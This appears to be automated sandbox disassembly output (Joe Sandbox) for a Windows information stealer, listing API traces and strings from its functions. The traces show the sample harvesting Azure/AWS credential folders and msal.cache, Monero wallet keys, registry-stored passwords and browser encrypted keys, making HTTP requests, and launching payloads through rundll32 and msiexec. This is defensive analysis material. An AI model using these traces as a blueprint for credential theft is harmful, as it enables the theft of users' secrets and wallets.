Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: a269118a21422ac24b33dcd479bc85fe7c4bd09d8a266201facb03a183a1fbb8
Instruction ID: d228dcf69af5ecdcd9acba00cf46b7192d2e596da526da5cb21c3214347dca99
Opcode Fuzzy Hash: a269118a21422ac24b33dcd479bc85fe7c4bd09d8a266201facb03a183a1fbb8
Instruction Fuzzy Hash: 85811EB1911118AFEB68EB50CC91FEA77B9BF08700F4083D9E509A6180DF756B85CFA5

Function 00684D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00688DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00688E0B

lstrcat.KERNEL32(?,00000000), ref: 00684DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00684DCD

Part of subcall function 00684910: wsprintfA.USER32 ref: 0068492C
Part of subcall function 00684910: FindFirstFileA.KERNEL32(?,?), ref: 00684943

lstrcat.KERNEL32(?,00000000), ref: 00684E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00684E59

Part of subcall function 00684910: StrCmpCA.SHLWAPI(?,00690FDC), ref: 00684971
Part of subcall function 00684910: StrCmpCA.SHLWAPI(?,00690FE0), ref: 00684987
Part of subcall function 00684910: FindNextFileA.KERNEL32(000000FF,?), ref: 00684B7D
Part of subcall function 00684910: FindClose.KERNEL32(000000FF), ref: 00684B92

lstrcat.KERNEL32(?,00000000), ref: 00684EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00684EE5

Part of subcall function 00684910: wsprintfA.USER32 ref: 006849B0
Part of subcall function 00684910: StrCmpCA.SHLWAPI(?,006908D2), ref: 006849C5
Part of subcall function 00684910: wsprintfA.USER32 ref: 006849E2
Part of subcall function 00684910: PathMatchSpecA.SHLWAPI(?,?), ref: 00684A1E
Part of subcall function 00684910: lstrcat.KERNEL32(?,012BF510), ref: 00684A4A
Part of subcall function 00684910: lstrcat.KERNEL32(?,00690FF8), ref: 00684A5C
Part of subcall function 00684910: lstrcat.KERNEL32(?,?), ref: 00684A70
Part of subcall function 00684910: lstrcat.KERNEL32(?,00690FFC), ref: 00684A82
Part of subcall function 00684910: lstrcat.KERNEL32(?,?), ref: 00684A96
Part of subcall function 00684910: CopyFileA.KERNEL32(?,?,00000001), ref: 00684AAC
Part of subcall function 00684910: DeleteFileA.KERNEL32(?), ref: 00684B31

Strings

\.IdentityService\, xrefs: 00684ED9
\.aws\, xrefs: 00684E4D
msal.cache, xrefs: 00684EF0
Azure\.aws, xrefs: 00684E5F
*.*, xrefs: 00684E64
\.azure\, xrefs: 00684DC1
Azure\.IdentityService, xrefs: 00684EEB
Azure\.azure, xrefs: 00684DD3
*.*, xrefs: 00684DD8

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: d2441f68de8692d2604e61d4c56fd5c670e8570fd84aa37d80fb9a6eed3cbc68
Instruction ID: 417ed71c17d0829e06e11ca6aee17fc06f10bdfeadff549614ae86c910a35dce
Opcode Fuzzy Hash: d2441f68de8692d2604e61d4c56fd5c670e8570fd84aa37d80fb9a6eed3cbc68
Instruction Fuzzy Hash: 0D41E2BA94020467DB94F760EC47FED333EAB60700F004598B689664C2FEB55BC9CB92

Function 00689010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0068906C

Strings

image/jpeg, xrefs: 00689136

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 9d5f481f553cfe5829bbce37c117228561b14337ff5cc0950d99a3ff368f72a3
Instruction ID: 35be42e43381e5ee096168889fde96226cc1df146abe2a2389d380825d904b1b
Opcode Fuzzy Hash: 9d5f481f553cfe5829bbce37c117228561b14337ff5cc0950d99a3ff368f72a3
Instruction Fuzzy Hash: 6F7111B1910208AFDB08EFE4DC89FEEB7B9BF48700F148618F515A7290DB34A945CB65

Function 00682E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

ShellExecuteEx.SHELL32(0000003C), ref: 006831C5
ShellExecuteEx.SHELL32(0000003C), ref: 0068335D
ShellExecuteEx.SHELL32(0000003C), ref: 006834EA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00683332
/passive, xrefs: 0068345B
/i ", xrefs: 006833E4
<, xrefs: 00683490
.dll, xrefs: 006831E5
"" , xrefs: 0068309A
C:\Windows\system32\msiexec.exe, xrefs: 006834BF
.msi, xrefs: 00683398

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 5f97d25b93085d89bfa76c142c3c4a609b6e265e841d07eb3fb444d99e72386f
Instruction ID: 301059d3de22d7c3ea0f540beb5058b71cc1bfa8b81dcd7bcc0c57aa301a8023
Opcode Fuzzy Hash: 5f97d25b93085d89bfa76c142c3c4a609b6e265e841d07eb3fb444d99e72386f
Instruction Fuzzy Hash: C81201B18101189AEB59FBD0DC92FDDB77AAF14300F50425EE90676191EF382B4ACF66

Function 006852C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0068A7E6

Part of subcall function 00676280: InternetOpenA.WININET(00690DFE,00000001,00000000,00000000,00000000), ref: 006762E1
Part of subcall function 00676280: StrCmpCA.SHLWAPI(?,012BF3F0), ref: 00676303
Part of subcall function 00676280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00676335
Part of subcall function 00676280: HttpOpenRequestA.WININET(00000000,GET,?,012BEBF8,00000000,00000000,00400100,00000000), ref: 00676385
Part of subcall function 00676280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006763BF
Part of subcall function 00676280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006763D1

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00685318
lstrlen.KERNEL32(00000000), ref: 0068532F

Part of subcall function 00688E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00688E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00685364
lstrlen.KERNEL32(00000000), ref: 00685383
lstrlen.KERNEL32(00000000), ref: 006853AE

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Strings

ERROR, xrefs: 006853B9
ERROR, xrefs: 0068530A
ERROR, xrefs: 00685432
ERROR, xrefs: 0068546F
ERROR, xrefs: 006854A9

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: ece0aa0de12f3456b8a21dfa4c67db1398d1e18f32a185ca33ed999940ccc57e
Instruction ID: 6ee4e895dbeeda69ed7d5e41ca5816b4bec11e6246b13f475cd2a8b61ff7a990
Opcode Fuzzy Hash: ece0aa0de12f3456b8a21dfa4c67db1398d1e18f32a185ca33ed999940ccc57e
Instruction Fuzzy Hash: A55120709111089BEB58FFA4CD96AED777BAF10300F50421DF80A5A592EF386B46CB66

Function 006812D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 6a9db6ca1c6584dd9717363ec7986477fe4e780ca730901278c011b4eade4a14
Instruction ID: 5799a949a441a53962e32add556fced0590d553f3d01727bb90d54ce0b9094a8
Opcode Fuzzy Hash: 6a9db6ca1c6584dd9717363ec7986477fe4e780ca730901278c011b4eade4a14
Instruction Fuzzy Hash: 59C1B5B59001099BCB58FFA0DC89FEA7779BF54300F00469DF50AA7241DB74AA85CFA5

Function 00684280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00688DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00688E0B

lstrcat.KERNEL32(?,00000000), ref: 006842EC
lstrcat.KERNEL32(?,012BEB38), ref: 0068430B
lstrcat.KERNEL32(?,?), ref: 0068431F
lstrcat.KERNEL32(?,012BD698), ref: 00684333

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 00688D90: GetFileAttributesA.KERNEL32(00000000,?,00671B54,?,?,0069564C,?,?,00690E1F), ref: 00688D9F

Part of subcall function 00679CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00679D39

Part of subcall function 006799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006799EC
Part of subcall function 006799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00679A11
Part of subcall function 006799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00679A31
Part of subcall function 006799C0: ReadFile.KERNEL32(000000FF,?,00000000,0067148F,00000000), ref: 00679A5A
Part of subcall function 006799C0: LocalFree.KERNEL32(0067148F), ref: 00679A90
Part of subcall function 006799C0: CloseHandle.KERNEL32(000000FF), ref: 00679A9A

Part of subcall function 006893C0: GlobalAlloc.KERNEL32(00000000,006843DD,006843DD), ref: 006893D3

StrStrA.SHLWAPI(?,012BE9E8), ref: 006843F3
GlobalFree.KERNEL32(?), ref: 00684512

Part of subcall function 00679AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Ng,00000000,00000000), ref: 00679AEF
Part of subcall function 00679AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00674EEE,00000000,?), ref: 00679B01
Part of subcall function 00679AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Ng,00000000,00000000), ref: 00679B2A
Part of subcall function 00679AC0: LocalFree.KERNEL32(?,?,?,?,00674EEE,00000000,?), ref: 00679B3F

lstrcat.KERNEL32(?,00000000), ref: 006844A3
StrCmpCA.SHLWAPI(?,006908D1), ref: 006844C0
lstrcat.KERNEL32(00000000,00000000), ref: 006844D2
lstrcat.KERNEL32(00000000,?), ref: 006844E5
lstrcat.KERNEL32(00000000,00690FB8), ref: 006844F4

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: cc49cf7f3e4d43443ed59b80eed11eb8d7903dc94caee8688eee273d7137e69b
Instruction ID: 08001adbde59dcef8d74f96a53045153f2b6a86879fa6d4151ae279fc2b4adbd
Opcode Fuzzy Hash: cc49cf7f3e4d43443ed59b80eed11eb8d7903dc94caee8688eee273d7137e69b
Instruction Fuzzy Hash: F17147B6900208ABDB54FBE4DC85FEE777ABB48300F04469DF60997181EA34DB45CBA5

Function 00671310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006712A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006712B4
Part of subcall function 006712A0: RtlAllocateHeap.NTDLL(00000000), ref: 006712BB
Part of subcall function 006712A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 006712D7
Part of subcall function 006712A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006712F5
Part of subcall function 006712A0: RegCloseKey.ADVAPI32(?), ref: 006712FF

lstrcat.KERNEL32(?,00000000), ref: 0067134F
lstrlen.KERNEL32(?), ref: 0067135C
lstrcat.KERNEL32(?,.keys), ref: 00671377

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

Part of subcall function 00688B60: GetSystemTime.KERNEL32(00690E1A,012BE078,006905AE,?,?,006713F9,?,0000001A,00690E1A,00000000,?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 00688B86

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00671465

Part of subcall function 0068A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0068A7E6

Part of subcall function 006799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006799EC
Part of subcall function 006799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00679A11
Part of subcall function 006799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00679A31
Part of subcall function 006799C0: ReadFile.KERNEL32(000000FF,?,00000000,0067148F,00000000), ref: 00679A5A
Part of subcall function 006799C0: LocalFree.KERNEL32(0067148F), ref: 00679A90
Part of subcall function 006799C0: CloseHandle.KERNEL32(000000FF), ref: 00679A9A

DeleteFileA.KERNEL32(00000000), ref: 006714EF

Strings

.keys, xrefs: 0067136B
wallet_path, xrefs: 00671330
SOFTWARE\monero-project\monero-core, xrefs: 00671335
\Monero\wallet.keys, xrefs: 0067138D

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 70203c9989e818aba12de0a06690f5562faad3ea70abe7985aceaaabee6a5916
Instruction ID: 7bde3c0de54759eb6442ba8f2562136bbf6b88f5d87dded679da03d30883f44b
Opcode Fuzzy Hash: 70203c9989e818aba12de0a06690f5562faad3ea70abe7985aceaaabee6a5916
Instruction Fuzzy Hash: F45176B1D1011957DB59FB60DC92FED733DAF50300F4042DDB60A62082EE346B89CBAA

Function 006775D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006772D0: memset.MSVCRT ref: 00677314
Part of subcall function 006772D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0067733A
Part of subcall function 006772D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006773B1
Part of subcall function 006772D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0067740D
Part of subcall function 006772D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00677452
Part of subcall function 006772D0: HeapFree.KERNEL32(00000000), ref: 00677459

lstrcat.KERNEL32(00000000,006917FC), ref: 00677606
lstrcat.KERNEL32(00000000,00000000), ref: 00677648
lstrcat.KERNEL32(00000000, : ), ref: 0067765A
lstrcat.KERNEL32(00000000,00000000), ref: 0067768F
lstrcat.KERNEL32(00000000,00691804), ref: 006776A0
lstrcat.KERNEL32(00000000,00000000), ref: 006776D3
lstrcat.KERNEL32(00000000,00691808), ref: 006776ED
task.LIBCPMTD ref: 006776FB

Strings

: , xrefs: 0067764E

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 462521a8ed232bed8b8acfe8a97540ae8bfd7bbf2e29d8497494d127ab9e64d4
Instruction ID: e46f3cd2a8db2f09c8707bba927079990196065ccd0baef3c9ff25dd1469734d
